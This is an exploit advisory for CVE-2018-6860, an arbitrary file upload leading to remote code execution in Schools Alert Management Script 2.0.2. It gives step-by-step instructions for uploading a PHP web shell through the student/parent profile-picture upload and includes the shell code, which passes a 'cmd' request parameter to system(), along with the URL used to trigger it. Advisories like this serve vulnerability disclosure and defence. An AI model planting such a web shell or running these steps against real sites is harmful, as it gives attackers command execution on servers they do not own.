Schools Alert Management Script 2.0.2 Arbitrary File Upload / Remote Code Execution

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# Exploit Title: Schools Alert Management Script - 2.0.2 - Arbitrary File Upload / Remote Code Execution  
# Date: 07.02.2018  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/  
# Category: Web Application  
# Exploit Author: Prasenjit Kanti Paul  
# Web: http://hack2rule.wordpress.com/  
# Version: 2.0.2  
# Tested on: Linux Mint  
# CVE: CVE-2018-6860  
##################################################################################################################  
  
Proof of Concept  
=================  
1. Login as Student/Parent  
2. Go to "Edit Profile" to upload profile picture.  
3. Once you find upload section, upload following code as a PHP file:   
<?php  
if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }  
?>  
4. Try to access given PHP file : [site.com]/malicious.php?cmd=ls  
  
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